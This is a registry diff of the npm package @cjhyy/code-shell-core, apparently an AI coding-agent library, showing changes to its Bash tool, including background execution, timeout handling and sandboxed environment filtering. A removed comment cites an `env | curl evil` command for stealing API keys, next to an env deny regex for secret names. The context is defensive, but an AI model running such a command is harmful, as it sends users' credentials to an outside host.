@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (387) hide show
  1. package/README.md +13 -10
  2. package/dist/agent/agent-definition-registry.d.ts +3 -0
  3. package/dist/agent/agent-definition-registry.js +3 -1
  4. package/dist/agent/agent-definition.d.ts +15 -0
  5. package/dist/agent/agent-definition.js +27 -3
  6. package/dist/arena/context/context-tools.js +47 -4
  7. package/dist/arena/ledger.js +9 -1
  8. package/dist/arena/strategies/utils.d.ts +1 -4
  9. package/dist/arena/strategies/utils.js +7 -84
  10. package/dist/automation/cron-expr.d.ts +10 -0
  11. package/dist/automation/cron-expr.js +23 -5
  12. package/dist/automation/runner.d.ts +21 -4
  13. package/dist/automation/runner.js +48 -12
  14. package/dist/automation/scheduler.d.ts +38 -0
  15. package/dist/automation/scheduler.js +89 -12
  16. package/dist/automation/store.js +5 -2
  17. package/dist/capability-control/disabled-lists.d.ts +25 -0
  18. package/dist/capability-control/disabled-lists.js +57 -0
  19. package/dist/capability-control/overlay.d.ts +15 -0
  20. package/dist/capability-control/overlay.js +27 -0
  21. package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
  22. package/dist/cc-orchestrator/agent-adapter.js +133 -0
  23. package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
  24. package/dist/cc-orchestrator/cc-capability.js +53 -0
  25. package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
  26. package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
  27. package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
  28. package/dist/cc-orchestrator/codex-session-history.js +187 -0
  29. package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
  30. package/dist/cc-orchestrator/external-agent-changes.js +214 -0
  31. package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
  32. package/dist/cc-orchestrator/external-agent-driver.js +69 -0
  33. package/dist/cc-orchestrator/index.d.ts +8 -0
  34. package/dist/cc-orchestrator/index.js +8 -0
  35. package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
  36. package/dist/cc-orchestrator/relevance-judge.js +29 -0
  37. package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
  38. package/dist/cc-orchestrator/session-discovery.js +125 -0
  39. package/dist/cc-orchestrator/session-history.d.ts +19 -0
  40. package/dist/cc-orchestrator/session-history.js +67 -0
  41. package/dist/cli/agent-server-stdio.d.ts +15 -1
  42. package/dist/cli/agent-server-stdio.js +115 -17
  43. package/dist/cli/agent-server-tcp.js +40 -26
  44. package/dist/context/compaction.d.ts +56 -0
  45. package/dist/context/compaction.js +186 -0
  46. package/dist/context/manager.js +25 -4
  47. package/dist/cost-tracker.js +5 -61
  48. package/dist/credentials/cipher.d.ts +49 -0
  49. package/dist/credentials/cipher.js +45 -0
  50. package/dist/credentials/cookie-jar.d.ts +24 -0
  51. package/dist/credentials/cookie-jar.js +40 -0
  52. package/dist/credentials/index.d.ts +7 -0
  53. package/dist/credentials/index.js +5 -0
  54. package/dist/credentials/inject-credential-tool.d.ts +20 -0
  55. package/dist/credentials/inject-credential-tool.js +130 -0
  56. package/dist/credentials/store.d.ts +72 -0
  57. package/dist/credentials/store.js +184 -0
  58. package/dist/credentials/types.d.ts +56 -0
  59. package/dist/credentials/use-credential-tool.d.ts +29 -0
  60. package/dist/credentials/use-credential-tool.js +205 -0
  61. package/dist/credentials/use-gate.d.ts +56 -0
  62. package/dist/credentials/use-gate.js +52 -0
  63. package/dist/data/model-metadata.d.ts +77 -0
  64. package/dist/data/model-metadata.js +56 -0
  65. package/dist/data/model-metadata.json +216 -0
  66. package/dist/data/openrouter-models.d.ts +18 -7
  67. package/dist/data/openrouter-models.js +35 -8
  68. package/dist/engine/aux-key.d.ts +10 -0
  69. package/dist/engine/aux-key.js +11 -0
  70. package/dist/engine/dynamic-tool-defs.d.ts +19 -0
  71. package/dist/engine/dynamic-tool-defs.js +36 -0
  72. package/dist/engine/engine.d.ts +267 -138
  73. package/dist/engine/engine.js +957 -191
  74. package/dist/engine/friendly-error.d.ts +18 -0
  75. package/dist/engine/friendly-error.js +63 -0
  76. package/dist/engine/goal.d.ts +145 -0
  77. package/dist/engine/goal.js +144 -0
  78. package/dist/engine/image-policy.d.ts +13 -0
  79. package/dist/engine/image-policy.js +24 -0
  80. package/dist/engine/model-connections-pool.d.ts +17 -0
  81. package/dist/engine/model-connections-pool.js +66 -0
  82. package/dist/engine/model-facade.d.ts +10 -0
  83. package/dist/engine/model-facade.js +25 -0
  84. package/dist/engine/patch-orphaned-tools.js +3 -0
  85. package/dist/engine/resolve-llm-config.d.ts +16 -0
  86. package/dist/engine/resolve-llm-config.js +44 -0
  87. package/dist/engine/runtime.js +2 -1
  88. package/dist/engine/sandbox-cache-key.d.ts +10 -0
  89. package/dist/engine/sandbox-cache-key.js +9 -0
  90. package/dist/engine/sandbox-config.d.ts +31 -0
  91. package/dist/engine/sandbox-config.js +38 -0
  92. package/dist/engine/session-usage.d.ts +19 -0
  93. package/dist/engine/session-usage.js +25 -0
  94. package/dist/engine/steer-queue.d.ts +32 -0
  95. package/dist/engine/steer-queue.js +26 -0
  96. package/dist/engine/streaming-tool-queue.d.ts +12 -0
  97. package/dist/engine/streaming-tool-queue.js +50 -10
  98. package/dist/engine/turn-loop.d.ts +67 -3
  99. package/dist/engine/turn-loop.js +292 -41
  100. package/dist/engine/types.d.ts +175 -0
  101. package/dist/engine/types.js +13 -0
  102. package/dist/external-agents/config.d.ts +2 -0
  103. package/dist/external-agents/config.js +15 -0
  104. package/dist/external-agents/types.d.ts +31 -0
  105. package/dist/external-agents/types.js +1 -0
  106. package/dist/git/utils.js +11 -6
  107. package/dist/git/worktree.d.ts +48 -0
  108. package/dist/git/worktree.js +86 -10
  109. package/dist/hooks/goal-stop-hook.d.ts +28 -0
  110. package/dist/hooks/goal-stop-hook.js +186 -9
  111. package/dist/hooks/registry.d.ts +8 -0
  112. package/dist/hooks/registry.js +19 -0
  113. package/dist/hooks/shell-runner.js +10 -21
  114. package/dist/index.d.ts +49 -6
  115. package/dist/index.js +60 -4
  116. package/dist/llm/capabilities/param-specs.d.ts +14 -0
  117. package/dist/llm/capabilities/param-specs.js +62 -0
  118. package/dist/llm/capabilities/rules.js +4 -0
  119. package/dist/llm/capabilities/types.d.ts +10 -0
  120. package/dist/llm/client-base.d.ts +28 -1
  121. package/dist/llm/client-base.js +119 -13
  122. package/dist/llm/model-cache.js +4 -2
  123. package/dist/llm/model-pool.d.ts +14 -0
  124. package/dist/llm/model-pool.js +13 -0
  125. package/dist/llm/provider-auth.d.ts +41 -0
  126. package/dist/llm/provider-auth.js +76 -0
  127. package/dist/llm/provider-catalog.d.ts +4 -0
  128. package/dist/llm/providers/anthropic.js +64 -14
  129. package/dist/llm/providers/openai.d.ts +36 -0
  130. package/dist/llm/providers/openai.js +257 -51
  131. package/dist/llm/reasoning-setting.d.ts +3 -3
  132. package/dist/llm/reasoning-setting.js +9 -1
  133. package/dist/llm/stream-watchdog.js +5 -1
  134. package/dist/llm/token-counter.js +9 -2
  135. package/dist/llm/types.d.ts +4 -0
  136. package/dist/logging/sanitize-messages.js +22 -0
  137. package/dist/lsp/manager.d.ts +1 -1
  138. package/dist/lsp/manager.js +40 -10
  139. package/dist/model-catalog/builtin.d.ts +12 -0
  140. package/dist/model-catalog/builtin.js +407 -0
  141. package/dist/model-catalog/gen-connections.d.ts +20 -0
  142. package/dist/model-catalog/gen-connections.js +28 -0
  143. package/dist/model-catalog/index.d.ts +41 -0
  144. package/dist/model-catalog/index.js +90 -0
  145. package/dist/model-catalog/params.d.ts +20 -0
  146. package/dist/model-catalog/params.js +45 -0
  147. package/dist/model-catalog/resolve.d.ts +48 -0
  148. package/dist/model-catalog/resolve.js +33 -0
  149. package/dist/model-catalog/save-entry.d.ts +32 -0
  150. package/dist/model-catalog/save-entry.js +104 -0
  151. package/dist/model-catalog/types.d.ts +561 -0
  152. package/dist/model-catalog/types.js +93 -0
  153. package/dist/model-catalog/upsert.d.ts +9 -0
  154. package/dist/model-catalog/upsert.js +8 -0
  155. package/dist/onboarding.d.ts +12 -82
  156. package/dist/onboarding.js +61 -326
  157. package/dist/plugins/gitOps.d.ts +19 -0
  158. package/dist/plugins/gitOps.js +73 -4
  159. package/dist/plugins/installer/checkUpdate.d.ts +16 -0
  160. package/dist/plugins/installer/checkUpdate.js +32 -0
  161. package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
  162. package/dist/plugins/installer/codex/convertCommands.js +46 -0
  163. package/dist/plugins/installer/codex/convertMcp.d.ts +5 -2
  164. package/dist/plugins/installer/codex/convertMcp.js +45 -5
  165. package/dist/plugins/installer/install.js +25 -1
  166. package/dist/plugins/installer/installFromArchive.d.ts +43 -0
  167. package/dist/plugins/installer/installFromArchive.js +134 -0
  168. package/dist/plugins/installer/installFromSource.js +8 -2
  169. package/dist/plugins/installer/loadPluginAgents.js +6 -2
  170. package/dist/plugins/installer/loadPluginMcp.d.ts +9 -2
  171. package/dist/plugins/installer/loadPluginMcp.js +35 -2
  172. package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
  173. package/dist/plugins/installer/pruneDisabled.js +73 -0
  174. package/dist/plugins/installer/types.d.ts +5 -2
  175. package/dist/plugins/installer/types.js +1 -0
  176. package/dist/plugins/installer/uninstall.js +4 -0
  177. package/dist/plugins/installer/unzip.d.ts +14 -0
  178. package/dist/plugins/installer/unzip.js +82 -0
  179. package/dist/plugins/installer/update.d.ts +14 -0
  180. package/dist/plugins/installer/update.js +53 -21
  181. package/dist/plugins/loadPluginHooks.d.ts +47 -1
  182. package/dist/plugins/loadPluginHooks.js +73 -1
  183. package/dist/plugins/marketplaceManager.d.ts +7 -0
  184. package/dist/plugins/marketplaceManager.js +20 -0
  185. package/dist/plugins/pluginCommandHook.js +4 -18
  186. package/dist/plugins/pluginContent.d.ts +30 -0
  187. package/dist/plugins/pluginContent.js +83 -0
  188. package/dist/plugins/pluginInstaller.d.ts +13 -0
  189. package/dist/plugins/pluginInstaller.js +42 -8
  190. package/dist/plugins/schemas.js +1 -0
  191. package/dist/plugins/types.d.ts +6 -0
  192. package/dist/preset/index.d.ts +7 -1
  193. package/dist/preset/index.js +96 -6
  194. package/dist/product/types.d.ts +1 -1
  195. package/dist/prompt/composer.d.ts +27 -0
  196. package/dist/prompt/composer.js +67 -21
  197. package/dist/prompt/instruction-scanner.js +5 -3
  198. package/dist/prompt/section-loader.js +1 -0
  199. package/dist/prompt/sections/base.md +1 -0
  200. package/dist/prompt/sections/browser.md +10 -0
  201. package/dist/prompt/sections/coding.md +4 -0
  202. package/dist/protocol/chat-session-manager.d.ts +8 -2
  203. package/dist/protocol/chat-session-manager.js +36 -0
  204. package/dist/protocol/chat-session.d.ts +65 -0
  205. package/dist/protocol/chat-session.js +94 -2
  206. package/dist/protocol/client.d.ts +27 -0
  207. package/dist/protocol/client.js +38 -0
  208. package/dist/protocol/server.d.ts +112 -0
  209. package/dist/protocol/server.js +586 -16
  210. package/dist/protocol/transport.js +3 -2
  211. package/dist/protocol/types.d.ts +46 -0
  212. package/dist/protocol/types.js +16 -0
  213. package/dist/quota/credentials.d.ts +3 -0
  214. package/dist/quota/credentials.js +80 -0
  215. package/dist/quota/index.d.ts +36 -0
  216. package/dist/quota/index.js +155 -0
  217. package/dist/quota/types.d.ts +48 -0
  218. package/dist/quota/types.js +13 -0
  219. package/dist/review/review-prompt.d.ts +28 -0
  220. package/dist/review/review-prompt.js +81 -0
  221. package/dist/run/FileRunStore.js +8 -3
  222. package/dist/run/RunApprovalBackend.js +25 -5
  223. package/dist/run/RunManager.d.ts +12 -0
  224. package/dist/run/RunManager.js +35 -0
  225. package/dist/run/factory.d.ts +1 -1
  226. package/dist/runtime/background-shell.d.ts +139 -0
  227. package/dist/runtime/background-shell.js +495 -0
  228. package/dist/runtime/output-clean.d.ts +24 -0
  229. package/dist/runtime/output-clean.js +41 -0
  230. package/dist/runtime/ring-file.d.ts +64 -0
  231. package/dist/runtime/ring-file.js +174 -0
  232. package/dist/runtime/safe-spawn.js +15 -34
  233. package/dist/runtime/spawn-common.d.ts +148 -0
  234. package/dist/runtime/spawn-common.js +303 -0
  235. package/dist/runtime/truncate-output.d.ts +22 -0
  236. package/dist/runtime/truncate-output.js +49 -0
  237. package/dist/runtime/utf8-cut.d.ts +11 -0
  238. package/dist/runtime/utf8-cut.js +23 -0
  239. package/dist/services/auto-dream.d.ts +4 -0
  240. package/dist/services/auto-dream.js +26 -26
  241. package/dist/services/diagnostics.d.ts +1 -2
  242. package/dist/services/diagnostics.js +12 -7
  243. package/dist/services/extract-memories.d.ts +14 -1
  244. package/dist/services/extract-memories.js +45 -6
  245. package/dist/services/memory-orchestrator.d.ts +21 -0
  246. package/dist/services/memory-orchestrator.js +125 -50
  247. package/dist/services/session-memory.js +24 -12
  248. package/dist/session/file-history.d.ts +124 -1
  249. package/dist/session/file-history.js +222 -6
  250. package/dist/session/memory.d.ts +116 -2
  251. package/dist/session/memory.js +250 -28
  252. package/dist/session/session-manager.d.ts +40 -0
  253. package/dist/session/session-manager.js +113 -3
  254. package/dist/session/simple-diff.d.ts +23 -0
  255. package/dist/session/simple-diff.js +84 -0
  256. package/dist/session/transcript.d.ts +25 -1
  257. package/dist/session/transcript.js +35 -2
  258. package/dist/session/undo-target.d.ts +67 -0
  259. package/dist/session/undo-target.js +144 -0
  260. package/dist/settings/disk-defaults.d.ts +9 -2
  261. package/dist/settings/disk-defaults.js +11 -2
  262. package/dist/settings/feature-flags.d.ts +64 -0
  263. package/dist/settings/feature-flags.js +61 -0
  264. package/dist/settings/manager.d.ts +68 -1
  265. package/dist/settings/manager.js +266 -29
  266. package/dist/settings/migrate-config.d.ts +45 -0
  267. package/dist/settings/migrate-config.js +125 -0
  268. package/dist/settings/schema-export.d.ts +25 -0
  269. package/dist/settings/schema-export.js +38 -0
  270. package/dist/settings/schema.d.ts +1186 -771
  271. package/dist/settings/schema.js +268 -97
  272. package/dist/skills/scanner.d.ts +9 -0
  273. package/dist/skills/scanner.js +30 -2
  274. package/dist/stt/resolve-transcribe.d.ts +31 -0
  275. package/dist/stt/resolve-transcribe.js +108 -0
  276. package/dist/stt/transcribe.d.ts +51 -0
  277. package/dist/stt/transcribe.js +65 -0
  278. package/dist/tool-system/browser-bridge.d.ts +226 -0
  279. package/dist/tool-system/browser-bridge.js +163 -0
  280. package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
  281. package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
  282. package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
  283. package/dist/tool-system/builtin/agent-notifications.js +9 -3
  284. package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
  285. package/dist/tool-system/builtin/agent-output-file.js +72 -0
  286. package/dist/tool-system/builtin/agent-registry.d.ts +12 -0
  287. package/dist/tool-system/builtin/agent-registry.js +8 -0
  288. package/dist/tool-system/builtin/agent.d.ts +21 -1
  289. package/dist/tool-system/builtin/agent.js +489 -42
  290. package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
  291. package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
  292. package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
  293. package/dist/tool-system/builtin/apply-patch/index.js +0 -15
  294. package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
  295. package/dist/tool-system/builtin/background-jobs.js +124 -0
  296. package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
  297. package/dist/tool-system/builtin/background-shell-tools.js +108 -0
  298. package/dist/tool-system/builtin/background-work.d.ts +67 -0
  299. package/dist/tool-system/builtin/background-work.js +86 -0
  300. package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
  301. package/dist/tool-system/builtin/bash-output-style.js +40 -0
  302. package/dist/tool-system/builtin/bash.d.ts +5 -2
  303. package/dist/tool-system/builtin/bash.js +98 -62
  304. package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
  305. package/dist/tool-system/builtin/browser-tools.js +312 -0
  306. package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
  307. package/dist/tool-system/builtin/cancel-goal.js +64 -0
  308. package/dist/tool-system/builtin/check-quota.d.ts +15 -0
  309. package/dist/tool-system/builtin/check-quota.js +34 -0
  310. package/dist/tool-system/builtin/config.js +7 -0
  311. package/dist/tool-system/builtin/cron.d.ts +7 -0
  312. package/dist/tool-system/builtin/cron.js +55 -3
  313. package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
  314. package/dist/tool-system/builtin/drive-claude-code.js +157 -0
  315. package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
  316. package/dist/tool-system/builtin/edit-model-catalog.js +94 -0
  317. package/dist/tool-system/builtin/edit.js +20 -16
  318. package/dist/tool-system/builtin/eol.d.ts +29 -0
  319. package/dist/tool-system/builtin/eol.js +37 -0
  320. package/dist/tool-system/builtin/file-cache.d.ts +6 -0
  321. package/dist/tool-system/builtin/file-cache.js +8 -0
  322. package/dist/tool-system/builtin/generate-image.d.ts +35 -0
  323. package/dist/tool-system/builtin/generate-image.js +278 -50
  324. package/dist/tool-system/builtin/generate-video.d.ts +55 -0
  325. package/dist/tool-system/builtin/generate-video.js +361 -0
  326. package/dist/tool-system/builtin/glob.js +0 -7
  327. package/dist/tool-system/builtin/grep.js +6 -8
  328. package/dist/tool-system/builtin/image-providers.d.ts +86 -0
  329. package/dist/tool-system/builtin/image-providers.js +190 -0
  330. package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
  331. package/dist/tool-system/builtin/image-uploader.js +74 -0
  332. package/dist/tool-system/builtin/index.d.ts +7 -1
  333. package/dist/tool-system/builtin/index.js +249 -25
  334. package/dist/tool-system/builtin/mcp-tools.js +23 -3
  335. package/dist/tool-system/builtin/memory.js +45 -7
  336. package/dist/tool-system/builtin/notebook-edit.js +0 -7
  337. package/dist/tool-system/builtin/powershell.js +4 -1
  338. package/dist/tool-system/builtin/read.js +10 -10
  339. package/dist/tool-system/builtin/repl.js +4 -1
  340. package/dist/tool-system/builtin/skill.js +9 -0
  341. package/dist/tool-system/builtin/sleep.js +3 -2
  342. package/dist/tool-system/builtin/tool-search.js +25 -7
  343. package/dist/tool-system/builtin/video-providers.d.ts +154 -0
  344. package/dist/tool-system/builtin/video-providers.js +235 -0
  345. package/dist/tool-system/builtin/web-fetch.js +12 -2
  346. package/dist/tool-system/builtin/web-search.js +21 -7
  347. package/dist/tool-system/builtin/worktree.d.ts +2 -1
  348. package/dist/tool-system/builtin/worktree.js +31 -4
  349. package/dist/tool-system/builtin/write.js +0 -6
  350. package/dist/tool-system/context.d.ts +154 -6
  351. package/dist/tool-system/executor.d.ts +3 -1
  352. package/dist/tool-system/executor.js +172 -88
  353. package/dist/tool-system/investigation-guard.js +1 -1
  354. package/dist/tool-system/mcp-manager.d.ts +42 -4
  355. package/dist/tool-system/mcp-manager.js +186 -20
  356. package/dist/tool-system/path-policy.d.ts +5 -0
  357. package/dist/tool-system/path-policy.js +307 -8
  358. package/dist/tool-system/permission.d.ts +36 -1
  359. package/dist/tool-system/permission.js +281 -69
  360. package/dist/tool-system/plan-mode-allowlist.d.ts +13 -2
  361. package/dist/tool-system/plan-mode-allowlist.js +24 -2
  362. package/dist/tool-system/registry.d.ts +1 -0
  363. package/dist/tool-system/registry.js +16 -2
  364. package/dist/tool-system/sandbox/index.d.ts +8 -0
  365. package/dist/tool-system/sandbox/index.js +7 -2
  366. package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
  367. package/dist/tool-system/validate-tool-metadata.js +63 -0
  368. package/dist/types.d.ts +217 -6
  369. package/dist/updater.js +20 -9
  370. package/dist/utils/envUtils.d.ts +0 -9
  371. package/dist/utils/envUtils.js +3 -28
  372. package/dist/utils/exec.d.ts +40 -0
  373. package/dist/utils/exec.js +144 -0
  374. package/dist/utils/json.d.ts +12 -0
  375. package/dist/utils/json.js +92 -0
  376. package/dist/utils/theme.d.ts +1 -1
  377. package/dist/utils/theme.js +1 -1
  378. package/dist/utils/toolDisplay.js +0 -1
  379. package/package.json +13 -7
  380. package/dist/agent/coordinator.d.ts +0 -49
  381. package/dist/agent/coordinator.js +0 -77
  382. package/dist/settings/manager.test.js +0 -73
  383. package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
  384. package/dist/tool-system/builtin/remote-trigger.js +0 -54
  385. package/dist/tool-system/builtin/send-message.d.ts +0 -6
  386. package/dist/tool-system/builtin/send-message.js +0 -47
  387. /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
@@ -0,0 +1,32 @@
1
+ /**
2
+ * Bash output styling classifier (A1 — Shell error highlighting).
3
+ *
4
+ * The Bash tool emits a single text body that interleaves three kinds of
5
+ * content (see bash.ts):
6
+ * - the prepended status line `Exit code: N (command failed)` /
7
+ * `Killed by signal: X` (only present on failure),
8
+ * - stdout,
9
+ * - a stderr section introduced by a lone `STDERR:` marker line, which runs
10
+ * to the end of the body.
11
+ *
12
+ * Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
13
+ * portions without mutating the text — copy must still yield the exact bytes
14
+ * the model saw. This pure classifier maps each line to a kind so each surface
15
+ * can apply its own error color. It deliberately lives next to bash.ts so the
16
+ * markers it recognizes stay in lock-step with what bash.ts produces.
17
+ *
18
+ * NOTE: the desktop renderer cannot import core (thin-client rule), so it
19
+ * duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
20
+ */
21
+ export type BashLineKind = "normal" | "error";
22
+ export interface ClassifiedBashLine {
23
+ /** The original line, verbatim (never trimmed/altered — copy fidelity). */
24
+ text: string;
25
+ kind: BashLineKind;
26
+ }
27
+ /**
28
+ * Classify each line of a Bash output body. Once the lone `STDERR:` marker is
29
+ * seen, every subsequent line is part of the stderr region (sticky). Status
30
+ * lines are flagged wherever they appear.
31
+ */
32
+ export declare function classifyBashLines(lines: string[]): ClassifiedBashLine[];
@@ -0,0 +1,40 @@
1
+ /**
2
+ * Bash output styling classifier (A1 — Shell error highlighting).
3
+ *
4
+ * The Bash tool emits a single text body that interleaves three kinds of
5
+ * content (see bash.ts):
6
+ * - the prepended status line `Exit code: N (command failed)` /
7
+ * `Killed by signal: X` (only present on failure),
8
+ * - stdout,
9
+ * - a stderr section introduced by a lone `STDERR:` marker line, which runs
10
+ * to the end of the body.
11
+ *
12
+ * Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
13
+ * portions without mutating the text — copy must still yield the exact bytes
14
+ * the model saw. This pure classifier maps each line to a kind so each surface
15
+ * can apply its own error color. It deliberately lives next to bash.ts so the
16
+ * markers it recognizes stay in lock-step with what bash.ts produces.
17
+ *
18
+ * NOTE: the desktop renderer cannot import core (thin-client rule), so it
19
+ * duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
20
+ */
21
+ /** The exact status-line prefixes bash.ts prepends on a failed command. */
22
+ function isStatusLine(line) {
23
+ return /^Exit code: \d+ \(command failed\)$/.test(line) || /^Killed by signal: /.test(line);
24
+ }
25
+ /**
26
+ * Classify each line of a Bash output body. Once the lone `STDERR:` marker is
27
+ * seen, every subsequent line is part of the stderr region (sticky). Status
28
+ * lines are flagged wherever they appear.
29
+ */
30
+ export function classifyBashLines(lines) {
31
+ let inStderr = false;
32
+ return lines.map((text) => {
33
+ if (text === "STDERR:") {
34
+ inStderr = true;
35
+ return { text, kind: "error" };
36
+ }
37
+ const kind = inStderr || isStatusLine(text) ? "error" : "normal";
38
+ return { text, kind };
39
+ });
40
+ }
@@ -16,6 +16,9 @@
16
16
  * Killed by signal, the truncation message, sandbox denial hints).
17
17
  */
18
18
  import type { ToolContext } from "../context.js";
19
- import type { ToolDefinition } from "../../types.js";
19
+ import type { ToolDefinition, ToolResult } from "../../types.js";
20
20
  export declare const bashToolDef: ToolDefinition;
21
- export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
21
+ export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string | {
22
+ result: string;
23
+ sandbox: ToolResult["sandbox"];
24
+ }>;
@@ -17,6 +17,15 @@
17
17
  */
18
18
  import { createOffBackend } from "../sandbox/off.js";
19
19
  import { safeSpawnShell } from "../../runtime/safe-spawn.js";
20
+ import { truncateHeadTail } from "../../runtime/truncate-output.js";
21
+ import { buildSandboxEnv, mergeShellEnv, defaultShellBinary } from "../../runtime/spawn-common.js";
22
+ import { backgroundShellManager } from "../../runtime/background-shell.js";
23
+ /** UI 标记:这次 Bash 走没走沙箱 + 网络策略。off 也带(显式标「未隔离」)。 */
24
+ function sandboxMark(backend) {
25
+ return backend.name === "off"
26
+ ? { backend: "off" }
27
+ : { backend: backend.name, network: backend.network };
28
+ }
20
29
  export const bashToolDef = {
21
30
  name: "Bash",
22
31
  description: "Execute a shell command and return its output. " +
@@ -34,66 +43,57 @@ export const bashToolDef = {
34
43
  type: "string",
35
44
  description: "Short description of what the command does",
36
45
  },
46
+ run_in_background: {
47
+ type: "boolean",
48
+ description: "Run the command in the background instead of blocking. Use for BOTH long-lived services " +
49
+ "(a dev server like `npm run dev`) AND slow one-shot tasks that would otherwise block for a " +
50
+ "long time (a download, a long build/test run). Returns immediately with a shell_id. " +
51
+ "When the command FINISHES you are automatically notified and woken to continue — so do NOT " +
52
+ "sleep, poll, or repeatedly BashOutput to wait for it. Just end your turn (or do other work); " +
53
+ "the system wakes you on completion. Use BashOutput(shell_id) only to check on a still-running " +
54
+ "process on demand, KillShell(shell_id) to stop one, ListShells() to enumerate. The process is " +
55
+ "killed when the session/app exits. (A never-exiting service like a dev server simply never " +
56
+ "fires that completion wakeup — that's expected.)",
57
+ },
37
58
  },
38
59
  required: ["command"],
39
60
  },
40
61
  };
41
62
  const MAX_OUTPUT = 100_000;
42
63
  const MAX_BUFFER = 10 * 1024 * 1024;
43
- /**
44
- * Env vars that are always safe to forward into the sandboxed shell. We pass
45
- * through enough for common Unix tooling (locale, PATH, HOME, terminal width)
46
- * but strip everything else. The Bash tool is the only thing the LLM can
47
- * directly steer at the shell, and a tainted model with full env access can
48
- * trivially exfiltrate `OPENROUTER_API_KEY` / `AWS_*` / `SSH_AUTH_SOCK` via
49
- * `env | curl evil`. Filesystem-level deniedReads don't help once secrets are
50
- * already in the process environment.
51
- *
52
- * `off` backend keeps the historical full-passthrough behavior — the user
53
- * explicitly opted out of sandboxing.
54
- */
55
- const ENV_ALLOWLIST = new Set([
56
- "PATH",
57
- "HOME",
58
- "USER",
59
- "LOGNAME",
60
- "SHELL",
61
- "LANG",
62
- "LC_ALL",
63
- "LC_CTYPE",
64
- "TERM",
65
- "TMPDIR",
66
- "TZ",
67
- "COLUMNS",
68
- "LINES",
69
- "PWD",
70
- ]);
71
- /**
72
- * Names matching these patterns are dropped even if they appear in the
73
- * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
74
- * leak just because it starts with `PATH`). Match is case-insensitive on
75
- * the full name.
76
- */
77
- const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
78
- function buildSandboxEnv() {
79
- const out = {};
80
- for (const name of ENV_ALLOWLIST) {
81
- const v = process.env[name];
82
- if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
83
- out[name] = v;
84
- }
85
- }
86
- return out;
87
- }
64
+ // The env allowlist / deny regex that hardens a sandboxed shell now lives in
65
+ // runtime/spawn-common.ts so foreground (this tool) and background shells
66
+ // share one source of truth. The `off` backend keeps the historical
67
+ // full-passthrough behavior the user explicitly opted out of sandboxing.
88
68
  export async function bashTool(args, ctx) {
89
69
  const command = args.command;
90
70
  if (!command)
91
71
  return "Error: command is required";
92
- const timeout = args.timeout || 120_000;
72
+ // A non-positive timeout (caller passing 0 / -5 / NaN) falls back to the
73
+ // default. `|| 120_000` only caught 0/NaN; a negative slipped through to
74
+ // setTimeout (clamped to 0 → near-instant kill → confusing "timed out after
75
+ // -5ms"). Treat non-positive as "use default" so the command actually runs.
76
+ const rawTimeout = args.timeout;
77
+ const timeout = typeof rawTimeout === "number" && rawTimeout > 0 ? rawTimeout : 120_000;
93
78
  const cwd = ctx?.cwd ?? process.cwd();
94
- const shell = process.env.SHELL || "/bin/bash";
79
+ const shell = defaultShellBinary();
95
80
  const backend = ctx?.sandbox ?? createOffBackend();
96
- const env = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
81
+ const sandbox = sandboxMark(backend);
82
+ // Tag every textual return below with the sandbox mark so the UI badge
83
+ // shows up whether the command succeeded, failed, timed out, or aborted.
84
+ const mark = (result) => ({ result, sandbox });
85
+ // Project localEnvironment.env (ctx.shellEnv) layers on top of either the
86
+ // full passthrough (off) or the hardened allowlist (sandboxed) — see
87
+ // mergeShellEnv. Background mode merges the same way inside the manager.
88
+ const baseEnv = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
89
+ const env = mergeShellEnv(baseEnv, ctx?.shellEnv);
90
+ // Background mode: spawn a detached, long-lived process and return a
91
+ // shell_id immediately (design §5.1). Fire-and-forget — the turn is never
92
+ // blocked, and Engine.run's wait-for-background loop never waits on it
93
+ // (§难点5: that loop only looks at asyncAgentRegistry).
94
+ if (args.run_in_background === true) {
95
+ return mark(runInBackground(command, ctx));
96
+ }
97
97
  // A6: lifecycle (spawn, kill cascade, IO drain, byte cap, abort/timeout)
98
98
  // is centralized in safeSpawnShell. We still handle Bash's user-facing
99
99
  // output formatting here.
@@ -111,25 +111,34 @@ export async function bashTool(args, ctx) {
111
111
  signal: ctx?.signal,
112
112
  });
113
113
